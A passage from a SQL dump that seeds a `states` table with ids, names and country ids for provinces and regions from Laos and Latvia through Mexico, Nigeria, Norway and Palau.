'Saravan', 119, NULL, NULL), (2111, 'Savannakhet', 119, NULL, NULL), (2112, 'Sekong', 119, NULL, NULL), (2113, 'Viangchan Prefecture', 119, NULL, NULL), (2114, 'Viangchan Province', 119, NULL, NULL), (2115, 'Xaignabury', 119, NULL, NULL), (2116, 'Xiang Khuang', 119, NULL, NULL), (2117, 'Aizkraukles', 120, NULL, NULL), (2118, 'Aluksnes', 120, NULL, NULL), (2119, 'Balvu', 120, NULL, NULL), (2120, 'Bauskas', 120, NULL, NULL), (2121, 'Cesu', 120, NULL, NULL), (2122, 'Daugavpils', 120, NULL, NULL), (2123, 'Daugavpils City', 120, NULL, NULL), (2124, 'Dobeles', 120, NULL, NULL), (2125, 'Gulbenes', 120, NULL, NULL), (2126, 'Jekabspils', 120, NULL, NULL), (2127, 'Jelgava', 120, NULL, NULL), (2128, 'Jelgavas', 120, NULL, NULL), (2129, 'Jurmala City', 120, NULL, NULL), (2130, 'Kraslavas', 120, NULL, NULL), (2131, 'Kuldigas', 120, NULL, NULL), (2132, 'Liepaja', 120, NULL, NULL), (2133, 'Liepajas', 120, NULL, NULL), (2134, 'Limbazhu', 120, NULL, NULL), (2135, 'Ludzas', 120, NULL, NULL), (2136, 'Madonas', 120, NULL, NULL), (2137, 'Ogres', 120, NULL, NULL), (2138, 'Preilu', 120, NULL, NULL), (2139, 'Rezekne', 120, NULL, NULL), (2140, 'Rezeknes', 120, NULL, NULL), (2141, 'Riga', 120, NULL, NULL), (2142, 'Rigas', 120, NULL, NULL), (2143, 'Saldus', 120, NULL, NULL), (2144, 'Talsu', 120, NULL, NULL), (2145, 'Tukuma', 120, NULL, NULL), (2146, 'Valkas', 120, NULL, NULL), (2147, 'Valmieras', 120, NULL, NULL), (2148, 'Ventspils', 120, NULL, NULL), (2149, 'Ventspils City', 120, NULL, NULL), (2150, 'Beirut', 121, NULL, NULL), (2151, 'Jabal Lubnan', 121, NULL, NULL), (2152, 'Mohafazat Liban-Nord', 121, NULL, NULL), (2153, 'Mohafazat Mont-Liban', 121, NULL, NULL), (2154, 'Sidon', 121, NULL, NULL), (2155, 'al-Biqa', 121, NULL, NULL), (2156, 'al-Janub', 121, NULL, NULL), (2157, 'an-Nabatiyah', 121, NULL, NULL), (2158, 'ash-Shamal', 121, NULL, NULL), (2159, 'Berea', 122, NULL, NULL), (2160, 'Butha-Buthe', 122, NULL, NULL), (2161, 'Leribe', 122, NULL, NULL), (2162, 'Mafeteng', 122, NULL, NULL), (2163, 'Maseru', 122, NULL, NULL), (2164, 'Mohale\'\'s Hoek', 122, NULL, NULL), (2165, 'Mokhotlong', 122, NULL, NULL), (2166, 'Qacha\'\'s Nek', 122, NULL, NULL), (2167, 'Quthing', 122, NULL, NULL), (2168, 'Thaba-Tseka', 122, NULL, NULL), (2169, 'Bomi', 123, NULL, NULL), (2170, 'Bong', 123, NULL, NULL), (2171, 'Grand Bassa', 123, NULL, NULL), (2172, 'Grand Cape Mount', 123, NULL, NULL), (2173, 'Grand Gedeh', 123, NULL, NULL), (2174, 'Loffa', 123, NULL, NULL), (2175, 'Margibi', 123, NULL, NULL), (2176, 'Maryland and Grand Kru', 123, NULL, NULL), (2177, 'Montserrado', 123, NULL, NULL), (2178, 'Nimba', 123, NULL, NULL), (2179, 'Rivercess', 123, NULL, NULL), (2180, 'Sinoe', 123, NULL, NULL), (2181, 'Ajdabiya', 124, NULL, NULL), (2182, 'Fezzan', 124, NULL, NULL), (2183, 'Banghazi', 124, NULL, NULL), (2184, 'Darnah', 124, NULL, NULL), (2185, 'Ghadamis', 124, NULL, NULL), (2186, 'Gharyan', 124, NULL, NULL), (2187, 'Misratah', 124, NULL, NULL), (2188, 'Murzuq', 124, NULL, NULL), (2189, 'Sabha', 124, NULL, NULL), (2190, 'Sawfajjin', 124, NULL, NULL), (2191, 'Surt', 124, NULL, NULL), (2192, 'Tarabulus', 124, NULL, NULL), (2193, 'Tarhunah', 124, NULL, NULL), (2194, 'Tripolitania', 124, NULL, NULL), (2195, 'Tubruq', 124, NULL, NULL), (2196, 'Yafran', 124, NULL, NULL), (2197, 'Zlitan', 124, NULL, NULL), (2198, 'al-\'\'Aziziyah', 124, NULL, NULL), (2199, 'al-Fatih', 124, NULL, NULL), (2200, 'al-Jabal al Akhdar', 124, NULL, NULL), (2201, 'al-Jufrah', 124, NULL, NULL), (2202, 'al-Khums', 124, NULL, NULL), (2203, 'al-Kufrah', 124, NULL, NULL), (2204, 'an-Nuqat al-Khams', 124, NULL, NULL), (2205, 'ash-Shati', 124, NULL, NULL), (2206, 'az-Zawiyah', 124, NULL, NULL), (2207, 'Balzers', 125, NULL, NULL), (2208, 'Eschen', 125, NULL, NULL), (2209, 'Gamprin', 125, NULL, NULL), (2210, 'Mauren', 125, NULL, NULL), (2211, 'Planken', 125, NULL, NULL), (2212, 'Ruggell', 125, NULL, NULL), (2213, 'Schaan', 125, NULL, NULL), (2214, 'Schellenberg', 125, NULL, NULL), (2215, 'Triesen', 125, NULL, NULL), (2216, 'Triesenberg', 125, NULL, NULL), (2217, 'Vaduz', 125, NULL, NULL), (2218, 'Alytaus', 126, NULL, NULL), (2219, 'Anyksciai', 126, NULL, NULL), (2220, 'Kauno', 126, NULL, NULL), (2221, 'Klaipedos', 126, NULL, NULL), (2222, 'Marijampoles', 126, NULL, NULL), (2223, 'Panevezhio', 126, NULL, NULL), (2224, 'Panevezys', 126, NULL, NULL), (2225, 'Shiauliu', 126, NULL, NULL), (2226, 'Taurages', 126, NULL, NULL), (2227, 'Telshiu', 126, NULL, NULL), (2228, 'Telsiai', 126, NULL, NULL), (2229, 'Utenos', 126, NULL, NULL), (2230, 'Vilniaus', 126, NULL, NULL), (2231, 'Capellen', 127, NULL, NULL), (2232, 'Clervaux', 127, NULL, NULL), (2233, 'Diekirch', 127, NULL, NULL), (2234, 'Echternach', 127, NULL, NULL), (2235, 'Esch-sur-Alzette', 127, NULL, NULL), (2236, 'Grevenmacher', 127, NULL, NULL), (2237, 'Luxembourg', 127, NULL, NULL), (2238, 'Mersch', 127, NULL, NULL), (2239, 'Redange', 127, NULL, NULL), (2240, 'Remich', 127, NULL, NULL), (2241, 'Vianden', 127, NULL, NULL), (2242, 'Wiltz', 127, NULL, NULL), (2243, 'Macau', 128, NULL, NULL), (2244, 'Berovo', 129, NULL, NULL), (2245, 'Bitola', 129, NULL, NULL), (2246, 'Brod', 129, NULL, NULL), (2247, 'Debar', 129, NULL, NULL), (2248, 'Delchevo', 129, NULL, NULL), (2249, 'Demir Hisar', 129, NULL, NULL), (2250, 'Gevgelija', 129, NULL, NULL), (2251, 'Gostivar', 129, NULL, NULL), (2252, 'Kavadarci', 129, NULL, NULL), (2253, 'Kichevo', 129, NULL, NULL), (2254, 'Kochani', 129, NULL, NULL), (2255, 'Kratovo', 129, NULL, NULL), (2256, 'Kriva Palanka', 129, NULL, NULL), (2257, 'Krushevo', 129, NULL, NULL), (2258, 'Kumanovo', 129, NULL, NULL), (2259, 'Negotino', 129, NULL, NULL), (2260, 'Ohrid', 129, NULL, NULL), (2261, 'Prilep', 129, NULL, NULL), (2262, 'Probishtip', 129, NULL, NULL), (2263, 'Radovish', 129, NULL, NULL), (2264, 'Resen', 129, NULL, NULL), (2265, 'Shtip', 129, NULL, NULL), (2266, 'Skopje', 129, NULL, NULL), (2267, 'Struga', 129, NULL, NULL), (2268, 'Strumica', 129, NULL, NULL), (2269, 'Sveti Nikole', 129, NULL, NULL), (2270, 'Tetovo', 129, NULL, NULL), (2271, 'Valandovo', 129, NULL, NULL), (2272, 'Veles', 129, NULL, NULL), (2273, 'Vinica', 129, NULL, NULL), (2274, 'Antananarivo', 130, NULL, NULL), (2275, 'Antsiranana', 130, NULL, NULL), (2276, 'Fianarantsoa', 130, NULL, NULL), (2277, 'Mahajanga', 130, NULL, NULL), (2278, 'Toamasina', 130, NULL, NULL), (2279, 'Toliary', 130, NULL, NULL), (2280, 'Balaka', 131, NULL, NULL), (2281, 'Blantyre City', 131, NULL, NULL), (2282, 'Chikwawa', 131, NULL, NULL), (2283, 'Chiradzulu', 131, NULL, NULL), (2284, 'Chitipa', 131, NULL, NULL), (2285, 'Dedza', 131, NULL, NULL), (2286, 'Dowa', 131, NULL, NULL), (2287, 'Karonga', 131, NULL, NULL), (2288, 'Kasungu', 131, NULL, NULL), (2289, 'Lilongwe City', 131, NULL, NULL), (2290, 'Machinga', 131, NULL, NULL), (2291, 'Mangochi', 131, NULL, NULL), (2292, 'Mchinji', 131, NULL, NULL), (2293, 'Mulanje', 131, NULL, NULL), (2294, 'Mwanza', 131, NULL, NULL), (2295, 'Mzimba', 131, NULL, NULL), (2296, 'Mzuzu City', 131, NULL, NULL), (2297, 'Nkhata Bay', 131, NULL, NULL), (2298, 'Nkhotakota', 131, NULL, NULL), (2299, 'Nsanje', 131, NULL, NULL), (2300, 'Ntcheu', 131, NULL, NULL), (2301, 'Ntchisi', 131, NULL, NULL), (2302, 'Phalombe', 131, NULL, NULL), (2303, 'Rumphi', 131, NULL, NULL), (2304, 'Salima', 131, NULL, NULL), (2305, 'Thyolo', 131, NULL, NULL), (2306, 'Zomba Municipality', 131, NULL, NULL), (2307, 'Johor', 132, NULL, NULL), (2308, 'Kedah', 132, NULL, NULL), (2309, 'Kelantan', 132, NULL, NULL), (2310, 'Kuala Lumpur', 132, NULL, NULL), (2311, 'Labuan', 132, NULL, NULL), (2312, 'Melaka', 132, NULL, NULL), (2313, 'Negeri Johor', 132, NULL, NULL), (2314, 'Negeri Sembilan', 132, NULL, NULL), (2315, 'Pahang', 132, NULL, NULL), (2316, 'Penang', 132, NULL, NULL), (2317, 'Perak', 132, NULL, NULL), (2318, 'Perlis', 132, NULL, NULL), (2319, 'Pulau Pinang', 132, NULL, NULL), (2320, 'Sabah', 132, NULL, NULL), (2321, 'Sarawak', 132, NULL, NULL), (2322, 'Selangor', 132, NULL, NULL), (2323, 'Sembilan', 132, NULL, NULL), (2324, 'Terengganu', 132, NULL, NULL), (2325, 'Alif Alif', 133, NULL, NULL), (2326, 'Alif Dhaal', 133, NULL, NULL), (2327, 'Baa', 133, NULL, NULL), (2328, 'Dhaal', 133, NULL, NULL), (2329, 'Faaf', 133, NULL, NULL), (2330, 'Gaaf Alif', 133, NULL, NULL), (2331, 'Gaaf Dhaal', 133, NULL, NULL), (2332, 'Ghaviyani', 133, NULL, NULL), (2333, 'Haa Alif', 133, NULL, NULL), (2334, 'Haa Dhaal', 133, NULL, NULL), (2335, 'Kaaf', 133, NULL, NULL), (2336, 'Laam', 133, NULL, NULL), (2337, 'Lhaviyani', 133, NULL, NULL), (2338, 'Male', 133, NULL, NULL), (2339, 'Miim', 133, NULL, NULL), (2340, 'Nuun', 133, NULL, NULL), (2341, 'Raa', 133, NULL, NULL), (2342, 'Shaviyani', 133, NULL, NULL), (2343, 'Siin', 133, NULL, NULL), (2344, 'Thaa', 133, NULL, NULL), (2345, 'Vaav', 133, NULL, NULL), (2346, 'Bamako', 134, NULL, NULL), (2347, 'Gao', 134, NULL, NULL), (2348, 'Kayes', 134, NULL, NULL), (2349, 'Kidal', 134, NULL, NULL), (2350, 'Koulikoro', 134, NULL, NULL), (2351, 'Mopti', 134, NULL, NULL), (2352, 'Segou', 134, NULL, NULL), (2353, 'Sikasso', 134, NULL, NULL), (2354, 'Tombouctou', 134, NULL, NULL), (2355, 'Gozo and Comino', 135, NULL, NULL), (2356, 'Inner Harbour', 135, NULL, NULL), (2357, 'Northern', 135, NULL, NULL), (2358, 'Outer Harbour', 135, NULL, NULL), (2359, 'South Eastern', 135, NULL, NULL), (2360, 'Valletta', 135, NULL, NULL), (2361, 'Western', 135, NULL, NULL), (2362, 'Castletown', 136, NULL, NULL), (2363, 'Douglas', 136, NULL, NULL), (2364, 'Laxey', 136, NULL, NULL), (2365, 'Onchan', 136, NULL, NULL), (2366, 'Peel', 136, NULL, NULL), (2367, 'Port Erin', 136, NULL, NULL), (2368, 'Port Saint Mary', 136, NULL, NULL), (2369, 'Ramsey', 136, NULL, NULL), (2370, 'Ailinlaplap', 137, NULL, NULL), (2371, 'Ailuk', 137, NULL, NULL), (2372, 'Arno', 137, NULL, NULL), (2373, 'Aur', 137, NULL, NULL), (2374, 'Bikini', 137, NULL, NULL), (2375, 'Ebon', 137, NULL, NULL), (2376, 'Enewetak', 137, NULL, NULL), (2377, 'Jabat', 137, NULL, NULL), (2378, 'Jaluit', 137, NULL, NULL), (2379, 'Kili', 137, NULL, NULL), (2380, 'Kwajalein', 137, NULL, NULL), (2381, 'Lae', 137, NULL, NULL), (2382, 'Lib', 137, NULL, NULL), (2383, 'Likiep', 137, NULL, NULL), (2384, 'Majuro', 137, NULL, NULL), (2385, 'Maloelap', 137, NULL, NULL), (2386, 'Mejit', 137, NULL, NULL), (2387, 'Mili', 137, NULL, NULL), (2388, 'Namorik', 137, NULL, NULL), (2389, 'Namu', 137, NULL, NULL), (2390, 'Rongelap', 137, NULL, NULL), (2391, 'Ujae', 137, NULL, NULL), (2392, 'Utrik', 137, NULL, NULL), (2393, 'Wotho', 137, NULL, NULL), (2394, 'Wotje', 137, NULL, NULL), (2395, 'Fort-de-France', 138, NULL, NULL), (2396, 'La Trinite', 138, NULL, NULL), (2397, 'Le Marin', 138, NULL, NULL), (2398, 'Saint-Pierre', 138, NULL, NULL), (2399, 'Adrar', 139, NULL, NULL), (2400, 'Assaba', 139, NULL, NULL), (2401, 'Brakna', 139, NULL, NULL), (2402, 'Dhakhlat Nawadibu', 139, NULL, NULL), (2403, 'Hudh-al-Gharbi', 139, NULL, NULL), (2404, 'Hudh-ash-Sharqi', 139, NULL, NULL), (2405, 'Inshiri', 139, NULL, NULL), (2406, 'Nawakshut', 139, NULL, NULL), (2407, 'Qidimagha', 139, NULL, NULL), (2408, 'Qurqul', 139, NULL, NULL), (2409, 'Taqant', 139, NULL, NULL), (2410, 'Tiris Zammur', 139, NULL, NULL), (2411, 'Trarza', 139, NULL, NULL), (2412, 'Black River', 140, NULL, NULL), (2413, 'Eau Coulee', 140, NULL, NULL), (2414, 'Flacq', 140, NULL, NULL), (2415, 'Floreal', 140, NULL, NULL), (2416, 'Grand Port', 140, NULL, NULL), (2417, 'Moka', 140, NULL, NULL), (2418, 'Pamplempousses', 140, NULL, NULL), (2419, 'Plaines Wilhelm', 140, NULL, NULL), (2420, 'Port Louis', 140, NULL, NULL), (2421, 'Riviere du Rempart', 140, NULL, NULL), (2422, 'Rodrigues', 140, NULL, NULL), (2423, 'Rose Hill', 140, NULL, NULL), (2424, 'Savanne', 140, NULL, NULL), (2425, 'Mayotte', 141, NULL, NULL), (2426, 'Pamanzi', 141, NULL, NULL), (2427, 'Aguascalientes', 142, NULL, NULL), (2428, 'Baja California', 142, NULL, NULL), (2429, 'Baja California Sur', 142, NULL, NULL), (2430, 'Campeche', 142, NULL, NULL), (2431, 'Chiapas', 142, NULL, NULL), (2432, 'Chihuahua', 142, NULL, NULL), (2433, 'Coahuila', 142, NULL, NULL), (2434, 'Colima', 142, NULL, NULL), (2435, 'Distrito Federal', 142, NULL, NULL), (2436, 'Durango', 142, NULL, NULL), (2437, 'Estado de Mexico', 142, NULL, NULL), (2438, 'Guanajuato', 142, NULL, NULL), (2439, 'Guerrero', 142, NULL, NULL), (2440, 'Hidalgo', 142, NULL, NULL), (2441, 'Jalisco', 142, NULL, NULL), (2442, 'Mexico', 142, NULL, NULL), (2443, 'Michoacan', 142, NULL, NULL), (2444, 'Morelos', 142, NULL, NULL), (2445, 'Nayarit', 142, NULL, NULL), (2446, 'Nuevo Leon', 142, NULL, NULL), (2447, 'Oaxaca', 142, NULL, NULL), (2448, 'Puebla', 142, NULL, NULL), (2449, 'Queretaro', 142, NULL, NULL), (2450, 'Quintana Roo', 142, NULL, NULL), (2451, 'San Luis Potosi', 142, NULL, NULL), (2452, 'Sinaloa', 142, NULL, NULL), (2453, 'Sonora', 142, NULL, NULL), (2454, 'Tabasco', 142, NULL, NULL), (2455, 'Tamaulipas', 142, NULL, NULL), (2456, 'Tlaxcala', 142, NULL, NULL), (2457, 'Veracruz', 142, NULL, NULL), (2458, 'Yucatan', 142, NULL, NULL), (2459, 'Zacatecas', 142, NULL, NULL), (2460, 'Chuuk', 143, NULL, NULL), (2461, 'Kusaie', 143, NULL, NULL), (2462, 'Pohnpei', 143, NULL, NULL), (2463, 'Yap', 143, NULL, NULL), (2464, 'Balti', 144, NULL, NULL), (2465, 'Cahul', 144, NULL, NULL), (2466, 'Chisinau', 144, NULL, NULL), (2467, 'Chisinau Oras', 144, NULL, NULL), (2468, 'Edinet', 144, NULL, NULL), (2469, 'Gagauzia', 144, NULL, NULL), (2470, 'Lapusna', 144, NULL, NULL), (2471, 'Orhei', 144, NULL, NULL), (2472, 'Soroca', 144, NULL, NULL), (2473, 'Taraclia', 144, NULL, NULL), (2474, 'Tighina', 144, NULL, NULL), (2475, 'Transnistria', 144, NULL, NULL), (2476, 'Ungheni', 144, NULL, NULL), (2477, 'Fontvieille', 145, NULL, NULL), (2478, 'La Condamine', 145, NULL, NULL), (2479, 'Monaco-Ville', 145, NULL, NULL), (2480, 'Monte Carlo', 145, NULL, NULL), (2481, 'Arhangaj', 146, NULL, NULL), (2482, 'Bajan-Olgij', 146, NULL, NULL), (2483, 'Bajanhongor', 146, NULL, NULL), (2484, 'Bulgan', 146, NULL, NULL), (2485, 'Darhan-Uul', 146, NULL, NULL), (2486, 'Dornod', 146, NULL, NULL), (2487, 'Dornogovi', 146, NULL, NULL), (2488, 'Dundgovi', 146, NULL, NULL), (2489, 'Govi-Altaj', 146, NULL, NULL), (2490, 'Govisumber', 146, NULL, NULL), (2491, 'Hentij', 146, NULL, NULL), (2492, 'Hovd', 146, NULL, NULL), (2493, 'Hovsgol', 146, NULL, NULL), (2494, 'Omnogovi', 146, NULL, NULL), (2495, 'Orhon', 146, NULL, NULL), (2496, 'Ovorhangaj', 146, NULL, NULL), (2497, 'Selenge', 146, NULL, NULL), (2498, 'Suhbaatar', 146, NULL, NULL), (2499, 'Tov', 146, NULL, NULL), (2500, 'Ulaanbaatar', 146, NULL, NULL), (2501, 'Uvs', 146, NULL, NULL), (2502, 'Zavhan', 146, NULL, NULL), (2503, 'Montserrat', 147, NULL, NULL), (2504, 'Agadir', 148, NULL, NULL), (2505, 'Casablanca', 148, NULL, NULL); INSERT INTO `states` (`id`, `name`, `country_id`, `created_at`, `updated_at`) VALUES (2506, 'Chaouia-Ouardigha', 148, NULL, NULL), (2507, 'Doukkala-Abda', 148, NULL, NULL), (2508, 'Fes-Boulemane', 148, NULL, NULL), (2509, 'Gharb-Chrarda-Beni Hssen', 148, NULL, NULL), (2510, 'Guelmim', 148, NULL, NULL), (2511, 'Kenitra', 148, NULL, NULL), (2512, 'Marrakech-Tensift-Al Haouz', 148, NULL, NULL), (2513, 'Meknes-Tafilalet', 148, NULL, NULL), (2514, 'Oriental', 148, NULL, NULL), (2515, 'Oujda', 148, NULL, NULL), (2516, 'Province de Tanger', 148, NULL, NULL), (2517, 'Rabat-Sale-Zammour-Zaer', 148, NULL, NULL), (2518, 'Sala Al Jadida', 148, NULL, NULL), (2519, 'Settat', 148, NULL, NULL), (2520, 'Souss Massa-Draa', 148, NULL, NULL), (2521, 'Tadla-Azilal', 148, NULL, NULL), (2522, 'Tangier-Tetouan', 148, NULL, NULL), (2523, 'Taza-Al Hoceima-Taounate', 148, NULL, NULL), (2524, 'Wilaya de Casablanca', 148, NULL, NULL), (2525, 'Wilaya de Rabat-Sale', 148, NULL, NULL), (2526, 'Cabo Delgado', 149, NULL, NULL), (2527, 'Gaza', 149, NULL, NULL), (2528, 'Inhambane', 149, NULL, NULL), (2529, 'Manica', 149, NULL, NULL), (2530, 'Maputo', 149, NULL, NULL), (2531, 'Maputo Provincia', 149, NULL, NULL), (2532, 'Nampula', 149, NULL, NULL), (2533, 'Niassa', 149, NULL, NULL), (2534, 'Sofala', 149, NULL, NULL), (2535, 'Tete', 149, NULL, NULL), (2536, 'Zambezia', 149, NULL, NULL), (2537, 'Ayeyarwady', 150, NULL, NULL), (2538, 'Bago', 150, NULL, NULL), (2539, 'Chin', 150, NULL, NULL), (2540, 'Kachin', 150, NULL, NULL), (2541, 'Kayah', 150, NULL, NULL), (2542, 'Kayin', 150, NULL, NULL), (2543, 'Magway', 150, NULL, NULL), (2544, 'Mandalay', 150, NULL, NULL), (2545, 'Mon', 150, NULL, NULL), (2546, 'Nay Pyi Taw', 150, NULL, NULL), (2547, 'Rakhine', 150, NULL, NULL), (2548, 'Sagaing', 150, NULL, NULL), (2549, 'Shan', 150, NULL, NULL), (2550, 'Tanintharyi', 150, NULL, NULL), (2551, 'Yangon', 150, NULL, NULL), (2552, 'Caprivi', 151, NULL, NULL), (2553, 'Erongo', 151, NULL, NULL), (2554, 'Hardap', 151, NULL, NULL), (2555, 'Karas', 151, NULL, NULL), (2556, 'Kavango', 151, NULL, NULL), (2557, 'Khomas', 151, NULL, NULL), (2558, 'Kunene', 151, NULL, NULL), (2559, 'Ohangwena', 151, NULL, NULL), (2560, 'Omaheke', 151, NULL, NULL), (2561, 'Omusati', 151, NULL, NULL), (2562, 'Oshana', 151, NULL, NULL), (2563, 'Oshikoto', 151, NULL, NULL), (2564, 'Otjozondjupa', 151, NULL, NULL), (2565, 'Yaren', 152, NULL, NULL), (2566, 'Bagmati', 153, NULL, NULL), (2567, 'Bheri', 153, NULL, NULL), (2568, 'Dhawalagiri', 153, NULL, NULL), (2569, 'Gandaki', 153, NULL, NULL), (2570, 'Janakpur', 153, NULL, NULL), (2571, 'Karnali', 153, NULL, NULL), (2572, 'Koshi', 153, NULL, NULL), (2573, 'Lumbini', 153, NULL, NULL), (2574, 'Mahakali', 153, NULL, NULL), (2575, 'Mechi', 153, NULL, NULL), (2576, 'Narayani', 153, NULL, NULL), (2577, 'Rapti', 153, NULL, NULL), (2578, 'Sagarmatha', 153, NULL, NULL), (2579, 'Seti', 153, NULL, NULL), (2580, 'Bonaire', 154, NULL, NULL), (2581, 'Curacao', 154, NULL, NULL), (2582, 'Saba', 154, NULL, NULL), (2583, 'Sint Eustatius', 154, NULL, NULL), (2584, 'Sint Maarten', 154, NULL, NULL), (2585, 'Amsterdam', 155, NULL, NULL), (2586, 'Benelux', 155, NULL, NULL), (2587, 'Drenthe', 155, NULL, NULL), (2588, 'Flevoland', 155, NULL, NULL), (2589, 'Friesland', 155, NULL, NULL), (2590, 'Gelderland', 155, NULL, NULL), (2591, 'Groningen', 155, NULL, NULL), (2592, 'Limburg', 155, NULL, NULL), (2593, 'Noord-Brabant', 155, NULL, NULL), (2594, 'Noord-Holland', 155, NULL, NULL), (2595, 'Overijssel', 155, NULL, NULL), (2596, 'South Holland', 155, NULL, NULL), (2597, 'Utrecht', 155, NULL, NULL), (2598, 'Zeeland', 155, NULL, NULL), (2599, 'Zuid-Holland', 155, NULL, NULL), (2600, 'Iles', 156, NULL, NULL), (2601, 'Nord', 156, NULL, NULL), (2602, 'Sud', 156, NULL, NULL), (2603, 'Area Outside Region', 157, NULL, NULL), (2604, 'Auckland', 157, NULL, NULL), (2605, 'Bay of Plenty', 157, NULL, NULL), (2606, 'Canterbury', 157, NULL, NULL), (2607, 'Christchurch', 157, NULL, NULL), (2608, 'Gisborne', 157, NULL, NULL), (2609, 'Hawke\'\'s Bay', 157, NULL, NULL), (2610, 'Manawatu-Wanganui', 157, NULL, NULL), (2611, 'Marlborough', 157, NULL, NULL), (2612, 'Nelson', 157, NULL, NULL), (2613, 'Northland', 157, NULL, NULL), (2614, 'Otago', 157, NULL, NULL), (2615, 'Rodney', 157, NULL, NULL), (2616, 'Southland', 157, NULL, NULL), (2617, 'Taranaki', 157, NULL, NULL), (2618, 'Tasman', 157, NULL, NULL), (2619, 'Waikato', 157, NULL, NULL), (2620, 'Wellington', 157, NULL, NULL), (2621, 'West Coast', 157, NULL, NULL), (2622, 'Atlantico Norte', 158, NULL, NULL), (2623, 'Atlantico Sur', 158, NULL, NULL), (2624, 'Boaco', 158, NULL, NULL), (2625, 'Carazo', 158, NULL, NULL), (2626, 'Chinandega', 158, NULL, NULL), (2627, 'Chontales', 158, NULL, NULL), (2628, 'Esteli', 158, NULL, NULL), (2629, 'Granada', 158, NULL, NULL), (2630, 'Jinotega', 158, NULL, NULL), (2631, 'Leon', 158, NULL, NULL), (2632, 'Madriz', 158, NULL, NULL), (2633, 'Managua', 158, NULL, NULL), (2634, 'Masaya', 158, NULL, NULL), (2635, 'Matagalpa', 158, NULL, NULL), (2636, 'Nueva Segovia', 158, NULL, NULL), (2637, 'Rio San Juan', 158, NULL, NULL), (2638, 'Rivas', 158, NULL, NULL), (2639, 'Agadez', 159, NULL, NULL), (2640, 'Diffa', 159, NULL, NULL), (2641, 'Dosso', 159, NULL, NULL), (2642, 'Maradi', 159, NULL, NULL), (2643, 'Niamey', 159, NULL, NULL), (2644, 'Tahoua', 159, NULL, NULL), (2645, 'Tillabery', 159, NULL, NULL), (2646, 'Zinder', 159, NULL, NULL), (2647, 'Abia', 160, NULL, NULL), (2648, 'Abuja Federal Capital Territor', 160, NULL, NULL), (2649, 'Adamawa', 160, NULL, NULL), (2650, 'Akwa Ibom', 160, NULL, NULL), (2651, 'Anambra', 160, NULL, NULL), (2652, 'Bauchi', 160, NULL, NULL), (2653, 'Bayelsa', 160, NULL, NULL), (2654, 'Benue', 160, NULL, NULL), (2655, 'Borno', 160, NULL, NULL), (2656, 'Cross River', 160, NULL, NULL), (2657, 'Delta', 160, NULL, NULL), (2658, 'Ebonyi', 160, NULL, NULL), (2659, 'Edo', 160, NULL, NULL), (2660, 'Ekiti', 160, NULL, NULL), (2661, 'Enugu', 160, NULL, NULL), (2662, 'Gombe', 160, NULL, NULL), (2663, 'Imo', 160, NULL, NULL), (2664, 'Jigawa', 160, NULL, NULL), (2665, 'Kaduna', 160, NULL, NULL), (2666, 'Kano', 160, NULL, NULL), (2667, 'Katsina', 160, NULL, NULL), (2668, 'Kebbi', 160, NULL, NULL), (2669, 'Kogi', 160, NULL, NULL), (2670, 'Kwara', 160, NULL, NULL), (2671, 'Lagos', 160, NULL, NULL), (2672, 'Nassarawa', 160, NULL, NULL), (2673, 'Niger', 160, NULL, NULL), (2674, 'Ogun', 160, NULL, NULL), (2675, 'Ondo', 160, NULL, NULL), (2676, 'Osun', 160, NULL, NULL), (2677, 'Oyo', 160, NULL, NULL), (2678, 'Plateau', 160, NULL, NULL), (2679, 'Rivers', 160, NULL, NULL), (2680, 'Sokoto', 160, NULL, NULL), (2681, 'Taraba', 160, NULL, NULL), (2682, 'Yobe', 160, NULL, NULL), (2683, 'Zamfara', 160, NULL, NULL), (2684, 'Niue', 161, NULL, NULL), (2685, 'Norfolk Island', 162, NULL, NULL), (2686, 'Northern Islands', 163, NULL, NULL), (2687, 'Rota', 163, NULL, NULL), (2688, 'Saipan', 163, NULL, NULL), (2689, 'Tinian', 163, NULL, NULL), (2690, 'Akershus', 164, NULL, NULL), (2691, 'Aust Agder', 164, NULL, NULL), (2692, 'Bergen', 164, NULL, NULL), (2693, 'Buskerud', 164, NULL, NULL), (2694, 'Finnmark', 164, NULL, NULL), (2695, 'Hedmark', 164, NULL, NULL), (2696, 'Hordaland', 164, NULL, NULL), (2697, 'Moere og Romsdal', 164, NULL, NULL), (2698, 'Nord Trondelag', 164, NULL, NULL), (2699, 'Nordland', 164, NULL, NULL), (2700, 'Oestfold', 164, NULL, NULL), (2701, 'Oppland', 164, NULL, NULL), (2702, 'Oslo', 164, NULL, NULL), (2703, 'Rogaland', 164, NULL, NULL), (2704, 'Soer Troendelag', 164, NULL, NULL), (2705, 'Sogn og Fjordane', 164, NULL, NULL), (2706, 'Stavern', 164, NULL, NULL), (2707, 'Sykkylven', 164, NULL, NULL), (2708, 'Telemark', 164, NULL, NULL), (2709, 'Troms', 164, NULL, NULL), (2710, 'Vest Agder', 164, NULL, NULL), (2711, 'Vestfold', 164, NULL, NULL), (2712, 'Østfold', 164, NULL, NULL), (2713, 'Al Buraimi', 165, NULL, NULL), (2714, 'Dhufar', 165, NULL, NULL), (2715, 'Masqat', 165, NULL, NULL), (2716, 'Musandam', 165, NULL, NULL), (2717, 'Rusayl', 165, NULL, NULL), (2718, 'Wadi Kabir', 165, NULL, NULL), (2719, 'ad-Dakhiliyah', 165, NULL, NULL), (2720, 'adh-Dhahirah', 165, NULL, NULL), (2721, 'al-Batinah', 165, NULL, NULL), (2722, 'ash-Sharqiyah', 165, NULL, NULL), (2723, 'Baluchistan', 166, NULL, NULL), (2724, 'Federal Capital Area', 166, NULL, NULL), (2725, 'Federally administered Tribal', 166, NULL, NULL), (2726, 'North-West Frontier', 166, NULL, NULL), (2727, 'Northern Areas', 166, NULL, NULL), (2728, 'Punjab', 166, NULL, NULL), (2729, 'Sind', 166, NULL, NULL), (2730, 'Aimeliik', 167, NULL, NULL), (2731, 'Airai', 167, NULL, NULL), (2732, 'Angaur', 167, NULL, NULL), (2733, 'Hatobohei', 167, NULL, NULL), (2734, 'Kayangel', 167, NULL, NULL), (2735, 'Koror', 167, NULL, NULL), (2736, 'Melekeok', 167, NULL, NULL), (2737, 'Ngaraard', 167, NULL, NULL), (2738, 'Ngardmau', 167, NULL, NULL), (2739, 'Ngaremlengui', 167, NULL, NULL), (2740, 'Ngatpang', 167, NULL, NULL), (2741, 'Ngchesar', 167, NULL, NULL), (2742, 'Ngerchelong', 167, NULL, NULL), (2743, 'Ngiwal', 167, NULL, NULL), (2744, 'Peleliu', 167, NULL, NULL), (2745, 'Sonsorol', 167, NULL, NULL), (2746, 'Ariha', 168, NULL, NULL), (2747, 'Bayt Lahm', 168, NULL, NULL), (2748, 'Bethlehem', 168, NULL, NULL), (2749, 